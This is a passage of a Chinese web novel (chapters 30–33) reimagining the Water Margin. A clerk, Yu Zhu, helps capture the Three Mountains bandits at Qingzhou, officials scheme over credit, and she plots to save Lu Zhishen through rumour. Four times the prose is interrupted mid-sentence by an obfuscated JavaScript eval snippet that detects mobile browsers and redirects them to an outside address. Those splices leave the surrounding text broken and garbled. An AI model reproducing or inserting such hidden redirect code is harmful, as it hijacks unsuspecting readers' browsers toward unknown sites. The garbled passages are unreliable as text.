城外,花荣和宋江离城门仅有几步之遥,恰好听到有人高喊中计。花荣反应极快,一把拉住宋江的缰绳,用力一扯,同时双腿猛夹马腹,两匹马长嘶一声,猛地转身,朝着远处狂奔而去。 城内,箭矢源源不断,如蝗虫铺天盖地,鲁智深虽勇,却也渐渐体力不支,身上多处挂彩,周围的郑天寿、李忠等人也陷入苦战,几阵箭雨之后,终是脱力瘫倒在地。 周围埋伏的军士见状一拥而上,将动弹不得的贼寇牢牢捆住。 此刻,方才还在城楼上怒目圆睁的秦明,从一处草垛后绕了出来,一边走向那陷坑前的女子,一边击节赞叹道:“郁押司好一出围师必阙,这贼寇果然如洪水,堵不如疏啊!” 那全副武装在门前挥舞旗帜的将军也放声大笑:“三山一网打尽,我镇三山以后怕是要换个称号咯……” 陷坑中,最先跌落、被压在最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149538|148727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底下的王英,早已被挤得喘不过气来,此时听闻上面人声,更是一个气急攻心,直接晕了过去。 * 青州府衙公堂,灯火通明。 慕容彦达看着被捆成蚕蛹的几个贼寇头领,已然忘记不久之前,自己听到他们的名字还害怕得筛糠。 此刻他得意忘形地走到一人面前,上下打量一番,故作惊讶道:“哎哟哟,让我猜猜,你这模样,定是那青面兽杨志对不对?” 杨志冷漠垂眼,并不作声。 慕容彦达朝着旁边的一人踱步而去:“瞧这面容生得倒是颇为俊俏,莫不是那白面郎君郑天寿?” 亦未得到回应。 他也不恼,又往右移了两步,盯着鲁智深那圆滚滚的脑袋和满脸的络腮胡子看了一会儿,突然一拍手大声笑道:“哈哈,你定是那花和尚鲁智深无疑了吧!” 谁料一直闭目的鲁智深突然睁眼,一口啐到慕容彦达面上。也不知是不是这一口唾沫力道太过雄浑,慕容彦达毫无防备,竟被啐得往后倒退了几步,一屁股坐到了地上。 一旁的王英早已醒来,见状像出了口恶气般,放肆地笑了起来,使那勒在肚子上的麻绳又陷进去几分。 四周站着的官差们见此情形,一个个想笑又不敢笑,憋得满脸通红。 慕容彦达坐在地上又羞又恼,“咻”地爬起,抢过秦明手中的马鞭,在几个贼寇头领身上狠狠抽了起来。 因平日里久不锻炼,才抽了几下,他便已气喘吁吁,手臂发酸,可心中的那股气却未消,便恨恨地将鞭子摔到地上,指挥道:“给我将这些贼寇押去牢房,好生‘伺候’着。” 他身边张虞侯得令,立刻大手一挥,涌上来一群公差,七手八脚地将这些头领尽数押下,一时间,公堂里热闹非凡。 韦暄静静候在一旁,待人走得差不多,才凑上前去,带着几分小心道:“知府大人,这边是我身边那位私名,此次捉拿贼寇立了不小的功劳。” 慕容彦达闻言向郁竺看去——这个女子他见过几面,往日跟在韦暄前后,看着颇为伶俐,这几天耳朵里倒是听了她不少事情,心中对她也算有了几分印象。 韦暄一边说着,一边仔细揣摩着慕容彦达的脸色。 只见他虽然刚刚在那些贼寇头领面前丢了面子,但毕竟捉拿到了这祸害青州已久的三山贼寇,瞧着心情似乎还算得上是尚好的样子,便继续道:“赏罚应当分明,正好府衙内公吏亦有缺,我想不如……” “你看着办吧。”没等韦暄把话说完,慕容彦达便不耐烦地袖子一挥,轻飘飘地转身走了。 如此便是同意了。 一旁的武松见状,立刻朝郁竺投来庆贺的眼神,郁竺回了他一个笑意,心里不知怎的,却有些喜忧参半。 这位青州的长官啊,观之行事做派,确实有点上不得台面了…… 虽不知道后人会如何评价这段历史,但郁竺脑子里已经浮现出了一段话——北宋政和七年,青州民不聊生,官吏横征暴敛,肆意搜刮民脂民膏,引得民怨沸腾,爆发了多起农民起义。只可惜,起义的首领鲁智深、杨志等人,惨遭恶吏郁竺的残害…… 30.第 30 章 宋朝的犯人通常关押在两个地方——监狱和牢城营。 监狱就设在府衙里面,用来关押尚未定罪的犯人,有点相当于后世的看守所。判决后,如果要刺配流放,通常就会去别的州的牢营城。 但这一次俘虏的贼寇实在太多,光头领就有六个,且都是武艺高强的贼人,需带单独关放,再加上还有四百多个山寨喽啰,青州监狱的规模是万万容纳不下的。 因此在韦暄的建议下,除了鲁智深等六个头领和部分武艺高强的小头目,其余四百余人都被押往牢营城暂为拘管了。 押送众多犯人的差事,韦暄便安排武松负责执行。如今已身为押司的郁竺,也顺理成章地一同跟随前往。 天色阴暗,铅灰色的云层沉甸甸地压在头顶,四百多个犯人带着前后相连的重枷,脚步沉重地朝着牢营城进发。 这些人中,有一百多人是跟着秦明被俘虏的军士,因稀里糊涂参与了最后一场早已设下陷阱的攻城,便被扣上了反贼的帽子。 郁竺一方面感慨北宋现在的军事制度下,士兵对于朝廷和将领的忠诚度确实很低——今日还是官军,一旦被俘虏,立刻就可以为敌军效力,如果不加以改变,这个弊端很快就会在后面的对金战争中体现出来,给大宋带来灭顶之灾。 另一方面,看着这些面如土色的犯人,她又有些于心不忍,想到了那天在城墙上提议使用金汁的马三。 马三因为立了功,慕容彦达大笔一挥恢复了他良民的身份,可眼前这些人和马三的情况又何其相似呢! 其实所谓的这些草寇,除了个别穷凶极恶的头目之外,大多数不过是当地的贫苦百姓罢了。有的是家本就在山上,屋舍却被强盗强行占去,走投无路之下,只得落草为寇;还有的则是穷得实在活不下去了,为了能在山上混一口饭吃,这才被迫走上了这条路。 想到这里,郁竺不禁幽幽地叹了口气,轻声道:“所幸官家大赦频繁,只要不判斩首,他们至多被关个两三年便能出去了吧。” 武松看了眼犯人,面无表情地说道:“他们当中的大部分人,没那等命能熬到那个时候。” 郁竺惊疑地看着他,武松知道她没去过那等地方,自然不会理解,但现实又太过血腥,他也不愿详说,便含糊道:“除了一百杀威棒,还有土牢、盆吊、土布袋压杀,若是没银子,活下来的不到十之一二。” 郁竺想起,武松在初进孟州牢营时,也曾遭遇过这等威胁,只不过施恩那时候有求于他,武松才化险为夷。可见牢城营确是人间地狱一般的存在,但这世间之人,又有几个能有武松的际遇和本事呢。 自己来了这处也有许久,深知被后世法学家赞誉为公正司法启蒙的“鞫谳分司”①制度,何尝不是个摆设,早已沦为行政长官一言堂的遮羞布了。 整个大宋的司法体系暗无天日,军事、政治等诸多方面是更是长夜难明。郁竺深深地叹了口气,为自己难以完成的任务,也为这世道中的万千百姓。 于此同时,知府慕容彦达也叹了口气,官兵打了胜仗,他却在愁报功的事情。 原来,捷报还没来得及传回京,东京倒是先来了消息。 枢密院遣汝宁郡都统制呼延灼、陈州团练使韩滔、颍州团练使彭玘率马军三千、步军五千,星夜赶往青州,不日便到。 慕容彦达气得捶胸顿足——这便是消息不畅的坏处了。 先前他担心贼寇反扑,将青州的形势描述得万分危急,把秦明黄信二人写得堪比草包。除修文书去中书省外,还快马加鞭派人递了一封书信给他妹子慕容贵妃。 慕容贵妃得信,自是将枕头风吹得飞起,官家不得不打起精神来应付,便唤来殿帅高俅问他何人可征剿青州匪寇。那高俅便保举了呼延灼,呼延灼又保举了韩滔、彭玘,另,枢密院还安排了领京城所内监陈良弼作为监军,随军出行。 只是如今三山贼寇被尽数剿灭,除桃花山周通死在攻城中,其余头领如二龙山的鲁智深、杨志,清风山的燕顺、王英、郑天寿,桃花山的李忠等,已被尽数活捉,虽然跑了宋江和花荣,但也算大功一件了,那呼延灼此时来了还有何用? 慕容彦达左想右想,最终将仇恨的目光落在那监军陈良弼身上。 “哼!定是那童贯这阉人在背后指使的!他在西北不过是沾了种师道的光,才打了几场胜仗,便得意上天了,偏偏官家也抬举他,竟将我大宋的军权交到这阉人手中!” 慕容彦达在书房里来回踱步,越想越气,恨恨咒骂道:“这厮时时不忘自己靠军功出身,但凡遇着战事就像饿狼见了肉,此次竟还派人来妄图夺我之功,无耻!” 他身边那张虞侯见状,连忙提醒道:“大人何不立即将胜果报给官家,将俘虏的贼首连同日期写明了,纵使呼延灼来了,也是在这之后,这功劳啊明明白白的,抢不走的。” 慕容彦达何尝不知道,只是这胜报却是难写。 想当初写那书信的时候,为了给自己找台阶下,把秦明和黄信尽往坏处说,生生形容成了中看不中用的绣花枕头,这下可好,真到要报胜仗的时候,能说是谁打的呢? 他不想提及韦暄,可要厚着脸皮说这胜仗全凭自己指挥,却也难圆——前不久,他还把那些贼寇描绘得如同神兵天降一般,这才过了多少时日,就已大获全胜,前后说法不一,自相矛盾得厉害,万一韦暄暗中使坏,偷偷写封信给他姑母告状,让官家知道了,给他扣上个欺君之罪,那可不好收场了。 笔尖在砚台上舔了又舔,终是落不到纸上,慕容彦达暗自琢磨着——眼下缺一个能把这转败为胜说得圆满的由头。 张虞侯看出了慕容彦达的为难,眼珠子一转,提议道:“大人何不提一提那个郁竺,此人是个女子,就算抬举她,也抢不了大人的功劳。” 慕容彦达闻言眼前一亮。 这个郁竺,昨天晚上韦暄还特意给她讨了个差事,现在也算青州官府的一员小吏。 他原本是想着,让女子做官这等惊世骇俗的事情,韦暄既然好意思提,他就顺水推舟答应,让别人也都看看韦暄是何等做事不顾分寸之人。 可现在想来,这女子却大有用处。 首先,既然是官府小吏,那便不能只算韦暄的人,名义上自然都是他慕容彦达的手下。再者,他也听说这个女子会得一点法术,念了个什么诀,竟然让花荣的神箭射到她面门上又转了方向。 当今官家也是个道君天子,对这些事情向来感兴趣得很,这么一来,事情就可以如此编排:他慕容彦达无意间寻得一名叫郁竺的高人,善法术,能驱贼寇,因他知人善用,给予了高人一官半职,郁竺便协助青州守军,挽狂澜于既倒,至于秦明黄信那等败军之将,他也大度地给他们机会,让其将功赎罪,整个青州上下,在慕容知府的正确领导下,众志成城,妙计频出,最终在朝廷援军到来之前就成功擒获三山贼寇…… 慕容彦达越想越对劲,当下就奋笔疾书起来,写完,将信吹了吹,反复看了几遍,很是满意,将信加贴封,又唤来心腹,让人务必将此信交到慕容贵妃手上。 另一边,府衙的书房里,韦暄也在为写信苦恼。 给朝廷报捷是一州长官的事情,慕容彦达什么性格他再清楚不过了,断然不会在给朝廷的奏报之中为自己说上半句好话。 可此次青州保卫战加上大败三山贼寇,从头至尾都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14157583|148727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己在前线不辞辛劳、亲力亲为,那慕容彦达就和缩头乌龟似的,偶尔探个脑袋出来张望一番,如此行径,他又怎会甘心将这赫赫战功拱手让人呢? 因此他必然要私下送出一封信,为自己争取一二。 可是他又不知慕容彦达会如何写整个经过,自己的这封信,既不能与慕容所述矛盾,又要凸显自己在整个战争中的作用。 韦暄一筹莫展,在屋内来回踱步,忽然,灵机一动,脑海里闪过一个绝佳的人选——此人慕容彦达一定不会提及,他便另辟蹊径从这人入手,一来尽述自己守城有功,二来凸显自己伯乐之才。 想到此处,韦暄只觉此法甚妙,当下便坐在书桌前笔走龙蛇,一挥而就,写了一篇洋洋洒洒的长文。 写完之后,他又仔细将其誊抄了一份,然后密封好,叮嘱公差定要将信件送到自己在京中的同僚以及表兄赵构手中。 * 日光昏黄,武松将四百多个人犯和管营一一交接完毕后,已经到了下午。 差拨挥舞着鞭子,干燥的尘土弥漫在空气中,随着微风打着旋儿。 “阿嚏!”郁竺揉了揉鼻子,看着牢城营那扇厚重的大门在一阵“嘎吱嘎吱”的声响中缓缓关上,将四百多人隔绝在内。 这里面的人,她暂且无能为力,但是州府监狱里关着的一个,却不能不闻不问。 其他五个也就罢了,她还没有大发善心到每个梁山好汉都要施以援手的地步,可偏偏鲁智深和张青夫妇是故交,听闻二龙山两人被捉的消息后,急急忙忙来找郁竺和武松,求他们务必保住鲁智深性命。 而且从个人情感来说,郁竺对于鲁智深这个人物是很有好感的,他是原著里为数不多真正的心地善良之人,如果因为自己的介入,死在了青州,那可真是罪过一件。 因此当初设下陷阱时,她便思考过,想不留痕迹放了他,也是为了给张青夫妇一个交代。 只是鲁智深却是个直肠子,冲得太前,且又高又大,还穿着僧衣,外表十分醒目,硬是叫秦明黄信捆了个结实。 如今,人已在监牢里,再想插手就难了。 一旁的武松也在为此犯难:“哥哥嫂子之托实难推辞,况且我亦听闻那花和尚鲁智深是个响当当的好汉,这却如何是好。” 郁竺此刻难得地缄默不语,低头沉思。 二人沉默地走了一程路,武松咬了咬牙:“罢了罢了,莫如我去设法将那狱卒引开,也好叫那鲁智深趁机逃脱,便是挨上一顿板子,又能如何?” 郁竺赶忙摇头否定,道:“兄长切不可如此行事!若是兄长这般做了,那宋江在阵前所言,定会被那有心之人将这两件事牵连起来,当作兄长与贼寇勾结的铁证。” “且私放犯人这种事情,须得双方事先沟通周全才好,机不可失时不再来,若是一次不能成事,往后怕是更难寻得良机了。” 武松听了这一番话,自知郁竺所言极是,不禁烦躁起来,手中紧紧攥着马鞭:“那该如何是好?” “兄长今晚找个借口,将牢头遣开一刻钟的时间,容我前去单独会会这个花和尚,再做计较。” “只好如此了。” 待得日落西山,余晖将那天空染得一片血红,二人方才抵达青州府衙。 还未进门,就见一公差好似身后有恶鬼追赶一般,屁滚尿流地往外爬。 武松见状赶忙一个箭步上前,将那公差拦住:“如此慌张,究竟发生了何事?” 那公差抬眼见是武松,就像看到了救星,忙不迭地哭诉道:“武教练,你可算回来了,那花和尚真是个煞星,将牢房拆了个七零八落,谁也降不住他,你快去看看吧!” 31.第 31 章 武松脚下生风,快步向监牢走去。 虽说二人刚刚还在商量怎么给鲁智深一条生路,但此刻众目睽睽之下,他作为公吏,对于有人在牢房闹事没有坐视不管的道理。 郁竺紧紧跟在武松身后,这还是她第一次踏足这种地方。 阴森的风穿堂而来,从那两人宽的门洞里呼呼往外吹着,黄黑枯萎的苔藓爬得到处都是。 郁竺刚小心翼翼跨进一只脚,忽然一个灯烛的木架裹挟着一股劲风,直直地朝着她的面门砸来。 烛火随着这猛力一挥,四处飞溅。 郁竺吓得脸色煞白,双腿像被定住,死死地扎在地上,动弹不得,眼睁睁地看着那木架呼啸而至。 就在这时,眼前突然出现一只大手,鹰爪般精准地捞住那木架,顺势借力,又将其狠狠掷了回去。 木架在空中划过一道弧线,带着呼呼的风声,朝鲁智深飞去。 鲁智深本就憋着一股劲儿,察觉到这动静,更是来了精神。他浑身肌肉瞬时贲张,猛地一拳轰出,拳风呼啸,竟将飞回来的木架打得粉碎。 “好身手!”武松轻喝一声,将直裰在腰后打了个结,摆出一个应舵势。 鲁智深见状,也不多话,直接一把抄起身边被他拆下来的、有碗口粗的牢房栅栏木头,如挥舞禅杖一样,朝着武松狠狠砸了过去。 却见武松稳如泰山,根本没有闪躲的意思,只在那木头即将砸到他身上的刹那,猛地伸出一只手,手臂上青筋暴起,如铁铸一般,竟稳稳地将那木头顶住。 鲁智深闯荡江湖多年,还未曾遇到过这等对手,一下子来了兴致,也不顾此刻身陷囹圄,一把将木棒抽回,紧接着一个俯身,木棒如旋风般朝着武松的下盘扫去。 武松双腿猛地一蹬地,原地跃起一丈高,轻松地躲开了横扫的木棒。紧接着在空中顺势一个转身,借着下落的势头,双脚迅速交替飞踢,直将地上零散的碎砖踢向鲁智深。 碎砖裹挟着巨大的力道,“砰砰”几声闷响,竟将鲁智深硬生生地逼退了好几步。 见鲁智深下盘似有不稳,周围狱卒连忙一拥而上,抱腿的抱腿,拽胳膊的拽胳膊,套绳子的套绳子,飞快地将他四下牵制住。 武松见对手手脚被缚,便立刻收住攻势,双手负在身后,站在那牢房的阶梯上目光平静地注视着鲁智深。 “洒家问你,方才使的那招可是叫‘玉环步鸳鸯脚’?” “少废话吧你!”还未等武松回答,一个狱卒就将破布塞入鲁智深口中。 鲁智深此刻倒是未再反抗,只是深深看了武松一眼,便垂眸入定般,任由四周狱卒将自己捆住。 再次将鲁智深控制住,这些狱卒不敢像上次那般松懈,取来长枷给鲁智深带上。 那长枷将由一长一短两条木板组成,长的那块足有六尺,短的却只有二尺五,重心不在套住脖子的孔上,犯人戴上后会失去平衡,十分难受。 枷上之后还不放心,那新上任的押牢节级邱宁又命人将鲁智深转移到有匣床的那间牢房里。 匣床是个十分可怕的刑具,头上有揪头环,颈间有夹项销,胸间有拦胸铁索,腹部有压腹梁,手脚处还有四个木杻。 鲁智深被如此固定好之后,邱宁再把一个安满钉子的铁板覆在上面,钉子距离他的脸不过两寸,在里头是丝毫动弹不得了。① 郁竺看着鲁智深硕大一个人,像肉饼馅儿一样被压在那两层木板之间,只觉得此情景似曾相识,转身一看武松,见他面色晦暗,才想起他被张都监陷害下狱后,也有过这种待遇。 真不知他那六十日是如何熬过来的,真是遭了老罪了。 那邱宁围着鲁智深转了一圈,没有发现任何破绽,方才满意,转身向武松道谢:“多亏武教练出手相助啊!” 他也是新“吏”上任,原本的两院押牢节级②李享前两天不幸为国捐了躯,他得以顶上,此刻自是连忙和武松这位韦通判身边的红人攀关系。 “若非武教练,我手下这些个酒囊饭袋可制不住这个贼寇,邱宁真是感激不尽。如今天色也晚了,不知教练是否有空,赏光去小酌一两杯?哦,郁押司也一起?” 武松刚要开口推辞,脑海中却突然闪过方才在外面和郁竺商议的事情,心下念头一转,这不正是个绝佳的好机会么! 于是,他面色陡然一变,爽朗地笑道:“哈哈,好啊!邱院长不必客气,此番原是我们把这些个棘手货色擒来,倒给贵院添了诸多麻烦。我瞧着方才不少兄弟都挂了彩,这样吧,今日我做东,请大家吃酒,就当给大伙赔个不是。” 说完这些,武松使了个眼色给郁竺。 郁竺心领神会,连忙开口,满是歉意道:“哎呀不巧,通判大人处有要紧公务候着,我这便得赶去,万望邱院长莫要见怪才是!” 邱宁哪里想到武松会这般客气,顿时受宠若惊,赶忙摆了摆手道:“欸,无妨无妨,自然是公务为重,郁押司尽管忙您的去。” 说罢,他环顾了一下四周,粗略估算了下,约莫有二十多个狱卒在这儿,心里寻思着,鲁智深就算有天大的本事,如今被牢牢地锁在那匣床里,也绝不可能脱身的。 这般想着,他当即便做下了决定:“刘大、许二,你俩今日当值,便在此好生守着。其余各位,都随我一道去!武教练此番可是立了大功,擒了这帮贼厮鸟,咱们且去给他好好贺上一贺!” 众人一听,自是欢呼雀跃,簇拥着武松向外走着准备去吃酒了。 郁竺谨记自己公务在身的人设,也装作一副忙得不可开交的样子,匆匆朝着签押房的方向走去。 一时间,原本还算“热闹”的偌大监牢,便只剩下刘大、许二这两个狱卒还在值守着了。 起初,这二人还算是颇为尽责,时不时看一眼几个贼首,可随着时间一点点过去,心里的不耐烦越发浓烈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那夫妻俩客气道:“二位大人且去畅饮几杯,我夫妻二人便在此地,权为二位大人照看一二,好让大人们尽兴”。 许二一眼就认出这是衙前街善义楼的张掌柜和他浑家,他们也是酒店的常客,深知这张掌柜和官府有着千丝万缕的联系,是个地地道道的“自己人”,当下放心下来。 刘大更是连连作揖,对郁竺道谢:“哎呀,郁押司如此客气,真教人不好意思。”边说边利索地从张青手中接过食盒。 郁竺见他二人毫不推辞,便装模作样朝张青孙二娘一拱手:“如此,有劳二位了。我手头尚有要事,先行一步。二位务必仔细看守,两位大人酒足饭饱归来之前,眼睛都不许眨一下,可听明白了?” 张青连忙点头如小鸡啄米:“几位大人放心吧!我丢了婆娘也不能丢了这人犯。” 两位狱卒闻言放声大笑,再次谢过后,便转身离去。为了避免瓜田李下,郁竺亦随着他们步出牢房。 待人都走远,张青这才快步到鲁智深身边,轻轻喊道:“兄弟,可还识得我们?” 32.第 32 章 郁竺先是在府衙内绕了一圈,让不少还在当差的公吏看到自己的身影,然后才换了套衣服,从小路绕回牢房。 许刘两位狱卒此刻已经喝得云里雾里,孙二娘的酒中加了微量的蒙汗药,虽不至于晕倒,却很有上头的感觉。郁竺蹑手蹑脚从他们身后走过,迅速溜进牢房。 鲁智深因为大闹一场,被单独关押到有匣床的那间牢房,和另几位贼首隔开了一段距离,倒是不用郁竺再费心思如何避过其他几人。 于是她加快脚步从那几人的牢房前匆匆走过,只是路过之时,终还是忍不住往里面瞥了一眼——这些平日里号称“好汉”的人,此刻个个面如死灰,显然是知晓自己在劫难逃了。 郁竺心道,再不惧生死的人,真正面临死亡近在咫尺的威胁时,恐怕也难以处之泰然吧。 正这般想着,却忽然感觉浑身汗毛一竖,似乎有一股不善的目光正紧紧盯着自己。 她下意识地回头望去,很快便找到了这目光的源头所在。 只见那汉子青斑半掩的脸上,一双眼睛里满满都是怨毒的神色,那目光犹如实质般的利箭,直直地朝郁竺射来。 郁竺被这目光看得浑身发毛,刻意忽视心里的寒意,头也不回转身朝最里面的牢房走去。 那处,鲁智深正在那匣床里合目养神,面容平静,一言不发。 张青垂手立在一旁,孙二娘见郁竺到了,轻轻朝她点了下头,郁竺见状放下心来。 她安排张青夫妇过来,是为了给自己打个前站。 鲁智深这人,虽然粗犷,但是心思单纯善良,为人光明磊落,他对瞧得顺眼的人,自然是好说话,若是瞧不上的人,那便是直来直去,丝毫不留情面。 张青夫妇作为他的故交,方才极力陈述郁竺种种事迹,将她描述成一个一心为民的良吏。 此刻,好人卡已经发放完毕,鲁智深应该是将那些话听下去了,看样子对郁竺并不反感。 如此,有些东西便好说了。 郁竺想了个好开场白:“说来也是有缘,之前差点去二龙山,成为大师麾下的人。” 鲁智深眼皮都未抬:“押司不必绕弯子,有话直说罢。” 郁竺被呛声回来,并不恼,倒是点了点头,直接点更好。 “慕容知府已下令将尔等就地斩首,以免夜长梦多,提辖如果是指望着押解到东京的路上,宋江派人救你们,便可以歇了这个心思了。” 却听鲁智深轻哼了一声:“杀人见血,救人救彻,洒家想做便做了,从来没指望他会回来救人。” 这倒是有些出乎郁竺的意料,怎么听着鲁智深对宋江观感并不太好,她疑惑道:“既然如此,你为何帮那宋江?” 鲁智深闻言,竟像是仔细思考了一番,在能挪动的范围内轻轻侧了下头:“今日也有人说他好,明日也有人说他好,聒得洒家耳朵也聋了,到底不曾相会,便想着他是个真男子,以致天下闻名。”① 他这般坦率得有些可爱,郁竺轻笑了一声:“为了见识真男子,就要搭进性命,当真不值。” 鲁智深却道:“怎的,你与洒家说这些鸟话,难道不是为了救洒家一条命?” 郁竺从未与这般直接的人说过话,短短一会儿已经第二次无语凝噎,顿了顿,也索性摊牌道:“确实,我可以救大师一命,不过大师需得答应我一个条件。” “你莫要让洒家为这官府卖命,如今这为官的有几个不是奸斜,就比俺的直裰染做皂了,洗杀怎得干净?不成,不成。②”鲁智深二话不说,直接拒绝,说什么条件,不就是答应招安么! “若不是为官府做事,而是为我做事呢?”郁竺不慌不忙道。 “你?”鲁智深闻言微微诧异,圆圆的牛眼咕噜转了两圈。 他暗自思忖着,这话听着倒是有几分诚意,不像是在糊弄他。 但他毕竟也在江湖上闯荡多年,深知谈判之事不能轻易应下,于是清了清嗓子,开口和郁竺谈起了条件:“你说能救洒家一命,那洒家那几个弟兄呢,我们虽非一母同胞,却情同手足,自然是生要死与共的。” 郁竺暗笑一声,看这胖大和尚其实心眼子也不少嘛,但她不可能应允这个要求,直接道:“大师莫要高看我了,将你等六人都放出去,我就要提头去见我们通判大人了。” 鲁智深也知道此事为难,想了想又退了一步:“那便将杨志和李忠也一起救了吧。” 杨志是他同山寨的弟兄,二人有过一起杀邓龙夺二龙山的经历,情分自然是深厚些,那李忠是他好友史进的开手师父,虽说为人扭捏小气,但若死了,史进定会伤心,要是能一起救出去自然最好。 这次,郁竺没有再一口回绝,沉思半响道:“尽量吧,若是失手了也不能怪我。” “行,那便一言为定,你说吧,要洒家为你做何事?几件才够?” “三件即可,至于何事,日后再议。” * 青州的牢房是个回字形的构造,杨志在那“回”字的外边,鲁智深在那“回”字的芯儿。 杨志虽不像鲁智深那样被钳制地动弹不得,但身上也挂着五十斤的枷锁,脚上拴着三十多斤的脚镣,稍微动一下,那链子就哗啦啦地响。 他方才见那设伏陷害自己的女子从牢前走过,恨不得将她生吞活剥,可这会儿却冷静了下来。 观这女子的行径,怎么倒像是把旁人支开,单独去见鲁智深的? 想到此处,他的心思活络了起来——单独会见死囚,必定所有图谋,无论是何图谋,对于他来说都是一线生机。 于是他顾不得身上沉重的负担,手脚并用爬到了那杉木栏旁,等待着转角处那个人影再次出现。 漆黑的拐角处无半点灯烛,声音仿佛也被黑暗吞噬,他伸长了耳朵,也听不见里面在说些什么。 杨志只好耐心等待,果然,不过一刻钟的工夫,那女子再次现身,急匆匆向外走去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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众狱卒将邱宁抬回,武松则独自向内衙走去。 朔日方过不久,月亮细细弯弯的,挂在天上,像是女子的眉毛,浅浅的清辉只够将大地的轮廓照个囫囵。 武松走着走着,酒力逐渐发作,浑身焦热,便随意将胸膛前袒开。 方走到自己房门前,却见那窗户上透出微弱的灯火,他心下一跳,连忙将门推开,果然是郁竺手持一卷,正坐在案边等他。 武松上前两步,却见张青夫妇坐在案几的另一边。 他醉意瞬间清醒,连忙将衣领拢起几分。 几人深夜守候在此,定是对于如何营救鲁智深已经有了安排,需要商议,于是他快步到案边,寻了个地方坐下:“怎样,妹子和那花和尚商议得如何?可有什么办法?” 郁竺将手中那卷书放下,嘴角挂着一丝若有若无的笑意:“众口铄金。” 33.第 33 章 善义楼虽是去年底新开张的店,生意却十分火爆。究其缘由,除了酒菜格外美味,那泼辣风情的老板娘也是店里的一大活招牌。 梁学究也是慕名而来,今日他在这酒楼里订了个小桌,要请自己那当“戳子”的好友吴仓小酌一二。 戳子,也就是以代写讼状为生的人,消息最是灵通。 待吴仓落座之后,梁学究就忙不迭地问道:“吴兄,可曾听得我家那间铺子到底打算如何判的了?” 吴仓自然知道对方无事献应勤,必有所求,没好气道:“梁贤弟果真是两耳塞豆不闻世事?岂不知近日官府已将那三山贼寇一网打尽,足足有几百号人呢!这审问起来,耗到猴年马月也难以有个头绪,哪还顾得上你那桩陈芝麻烂谷子的案子?” 梁学究急了:“那得等多久?” 吴仓翻了个白眼:“且耐着性子吧,待到那些个反贼一个个掉了脑袋,官老爷或许才能腾出空来理会你的那点子事呢!” 梁学究苦道:“唉,我岂会不知这等大事,街头巷尾早已传得沸沸扬扬。只是那些个贼寇,也未曾踏进我家门槛半步抢我一分一毫,又与我有何相干?我自家那铺子,白白空置了几个月,眼睁睁瞧着几十两白花花的银子打了水漂,这才真叫人心痛啊!” 吴仓呵呵笑了一声:“虽与梁贤弟无甚干系,却与那帮官老爷们大大相关,断你那十桩经济纠葛,也抵不上擒个反贼来得功劳赫赫。不过你也莫急,虽说那些喽啰审起来麻烦,但我也听得说那几个反贼头目应该是不日就要先行斩首了。” “噢,果真如此便好了。” 说道此处,梁学究左右看了两眼,以手掩口,悄悄凑到吴仓耳边问道:“吴兄,我问你一事,你听过便忘了,切莫说是我问的。” “贤弟且说来听听。”吴仓见他如此,也郑重道。 “我听说这次其实没抓到三山贼寇,只是抓到清风山那三个头领,剩下的二龙山和桃花山的,都给逃了,知府好大喜功,弄了些假的来冒充啊?” “害,可不能乱说。”吴仓立即作势掩住梁学究之口,左右环视后,摇摇头又道,“不过你这说法,我也听过,据说之所以如此急着斩首,就是因为人是假的,所以赶紧砍了脑袋才好报上京去冒功呢……” “呦,二位说什么悄悄话呢?” 吴梁二人俱是一惊,循声看去,只见老板娘扭着腰肢,笑意盈盈,手中端着一盘好羊羹向他们款款走来。 二人讪讪笑了下,吴仓突然想起来这老板娘也是和官府有瓜葛的人,她说不定知道些内幕呢! “老板娘,你经常去府衙送餐食,可曾见过那些个贼头子,是不是果然如传言那般,貌丑似夜叉?”吴仓笑眯眯地旁敲侧击。 "害,我哪有那个资格见这等要犯,不能瞎说。"孙二娘娇笑一声,用手中绣帕嗔怪地打了下吴仓,“客官吃酒便吃酒,问这嚇人的事作甚?” “好奇,哈哈哈,好奇而已。” 待老板娘走远,二人相视点了点头——看来传言不假了,这般捂着不让人见,定是还没抓到人,在找替死鬼呢! 孙二娘回头看了一眼满座的食客,轻哼一声,径直绕过后厨,走进侧边一个隐蔽的厢房,掀开门帘,只见郁竺武松和张青俱在。 “妹子,按你说的,这流言已经散得沸沸扬扬了,连不常来我这店里的客人都知道了。” 郁竺点点头:“如此便好,哥哥嫂嫂可以放心了,鲁智深他们一时半会儿掉不了脑袋了。” 一旁的张青哭笑不得:“唉,遣用了多少靠谱的伙计,散出去不少银两,妹子你这哪里是‘众口铄金’,分明是‘金铄众口’。” “财散人聚,财散人聚哈哈哈……” * 